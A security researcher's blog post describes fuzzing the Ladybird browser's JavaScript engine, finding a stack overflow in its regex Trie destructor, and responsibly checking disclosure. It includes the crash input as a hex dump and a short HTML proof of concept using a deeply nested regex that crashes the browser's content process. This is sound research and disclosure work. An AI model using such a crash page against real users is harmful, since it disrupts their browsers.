Tl;DR

Sometimes boredom leads to fuzzing. Sometimes fuzzing leads to findings. Findings turn into PoCs, PoCs into disclosures—only to discover the issue’s already known. You reflect, wonder if you should’ve done something more productive, then move on.

Ladybird

Ladybird is an independent browser stemming from SerenityOS. Basically, it’s open-source and written in C++ so I was interested as:

  1. I know C++, I know a lot of its pitfalls and quirky behaviours.
  2. C++ is complex.
  3. It’s also prone to memory issues.
  4. The code is available, so you can audit it and test it easier.

It also has a bunch of fuzzers set up already so it’s easy to get fuzzing locally. As an aside, the code itself also looks really good. Doesn’t look like there will be any intro to buffer overflow code in here.

ASan

AddressSanitizer is a neat tool for finding memory issues in C++. I thought it was enabled by default but couldn’t see so I just locally hacked the BuildFuzzers.sh to append -fsanitize=address to enable it for sure.

Fuzzing

This is the hard part: I ran the ./FuzzJS binary outputted from the build and let it run whilst I stared into space, absent mindedly, breathing slowly through my nose as the nostril hairs vibrated and a billion people all over the globe went about their life - laughing, crying, probably farting - I sat there, bolt upright, staring straight ahead waiting to be unblocked by the discovery of something.

Finding

A crash! Well, actually the first just triggered an assert which results in a controlled crash - not too interesting. The second run did cause a stack overflow crash, which is interesting!

Taking a sniff at the dump, there was the pungent odour – of stack space exhaustion due to a recursive call.

Confirming

Running ./FuzzJS again with the crash as input produces the same crash, we have a chicken dinner.

SUMMARY: AddressSanitizer: stack-overflow Trie.h:30 in AK::Detail::Trie<void, AK::Trie<AK::DisjointSpans<unsigned long long const, AK::Vector<AK::Span<unsigned long long const>, 0ul>>, AK::Vector<regex::Optimizer::append_alternation(regex::ByteCode&, AK::Span<regex::ByteCode>)::NodeMetadataEntry, 0ul>, AK::Traits<AK::DisjointSpans<unsigned long long const, AK::Vector<AK::Span<unsigned long long const>, 0ul>>>, void, regex::OrderedHashMapForTrie>, AK::DisjointSpans<unsigned long long const, AK::Vector<AK::Span<unsigned long long const>, 0ul>>, AK::Vector<regex::Optimizer::append_alternation(regex::ByteCode&, AK::Span<regex::ByteCode>)::NodeMetadataEntry, 0ul>, AK::Traits<AK::DisjointSpans<unsigned long long const, AK::Vector<AK::Span<unsigned long long const>, 0ul>>>, regex::OrderedHashMapForTrie>::~Trie()
==53959==ABORTING
[1]    53959 abort      ./FuzzJs -use_value_profile=1 -reduce_inputs=1 -artifact_prefix=./crashes/ 

Trie

The name caught my attention as Tries are pretty neat data structures. Basically trees that have O(n) complexity for everything. In my experience, you need to know them for leetcode and that’s about it, but here we are with a real-world use so that’s cool.

The bug looks to be in the destructor, it looks like there’s a regex input that causes the destructor to get in a big ol’ loop / go deep into recursive calls which exhausts the stack space.

Exploitability

This isn’t really exploitable, at least at first glance. Never say never, but likely the worst case scenario here is you could craft a html page to crash someones browser. It’s not really end of the world, severity is pretty low. Maybe it could be combined with something else, but alone it feels fairly harmless and hard to argue this is a security issue.

PoC: Proof of Concept

Nevertheless, it’s more fun to craft something that shows it works. Therefore, let’s make a little proof of concept html file.

First, xxd to get the bytes, then be lazy and ask ChatGPT to pop those bytes into an array in js.

00000000: 2868 6d0a 0028 2845 3d3d 2828 2828 453d  (hm..((E==((((E=
00000010: 2828 453d 2828 2845 3d6c 2820 2828 4546  ((E=(((E=l( ((EF
00000020: 2828 2828 453d 282f 7c00 7c28 007c 257c  ((((E=(/|.|(.|%|
00000030: 3028 453d 2828 2845 3d57 2820 2824 607b  0(E=(((E=W( ($`{
00000040: 0024 7b00 2400 7b24 0000 7c7c 7c00 7c28  .${.$.{$..|||.|(
00000050: 007c 7c7c 007c 2800 7c00 5728 2028 2460  .|||.|(.|.W( ($`
00000060: 7b00 247b 0024 007b 2400 007c 7c7c 007c  {.${.$.{$..|||.|
00000070: 2800 7c7c 7c00 7c28 007c 007c 7c28 5c7c  (.|||.|(.|.||(\|
00000080: 2165 7374 607c 7c7c 007c 2800 7c00 7c7c  !est`|||.|(.|.||
00000090: 287c 7c21 6573 7420 7c7c 7c28 5c7c 2165  (||!est |||(\|!e
000000a0: 7374 607c 7c7c 007c 2800 7c00 7c7c 287c  st`|||.|(.|.||(|
000000b0: 7c21 6573 7420 7c73 7461 2a63 207c 7374  |!est |sta*c |st
000000c0: 612a 636b 307c 7374 2f05 007b 257c 7c1f  a*ck0|st/..{%||.
000000d0: 0000 006b 3000 282f                      ...k0.(/

lol numbers.

The issue was caused by regex, so we use js to feed those bytes into the RegEx.

But alas, it was foiled as there’s some validation that occurs in the browser that isn’t part of the JS engine directly it seems, so instead of a crash we get:

2506575.839 WebContent(54937): (js error) "Regex compile error:" [SyntaxError] RegExp compile error: Error during parsing of regular expression:
    (hm
((E==((((E=((E=(((E=l( ((EF((((E=(/||(|%|0(E=(((E=W( ($`{${${$||||(||||(|W( ($`{${${$||||(||||(|||(\|!est`||||(|||(||!est |||(\|!est`||||(|||(||!est |sta*c |sta*ck0|st/{%||k0(/
                                                                   ^---- Invalid regular expression.

which isn’t too suprising as we are throwing in some pretty random binary here without much effort.

Anyway, it seems like the input might not matter too much, so long as it’s long it might probably trigger it anyway.

So, after some calculus, some trignometry, and some - whats the polite way to say this?, play around and find out:

<html>
	<head>
		<title>test</title>
		<script>
			let r = "a";
			for (let i = 0; i < 5000; i++) {
			    r = `(${r}|a)`;
			}
			const re = new RegExp(r);
			"aaa".match(re);
		</script>
	</head>
	<body>
		PoC
	</body>
</html>

Code review might have some issues, but this gets the job done:

2506679.063 Ladybird(54992): WebContent process crashed! Last page loaded: file:///Users/dude/Desktop/poc.html
2506679.063 Ladybird(54992): Consider raising an issue at https://github.com/LadybirdBrowser/ladybird/issues/new/choose

Disclosure

Sweet it works, let’s be responsible and check how to disclose stuff. As ladybird is cool, they have a security.md informing us how. the TL;DR is check issues, check oss-fuzz, then talk to them.

Sure enough, the issue’s already been found and reported on oss-fuzz and in the issues, so it looks like it’s being fixed.

Awesome, see you space cowboys.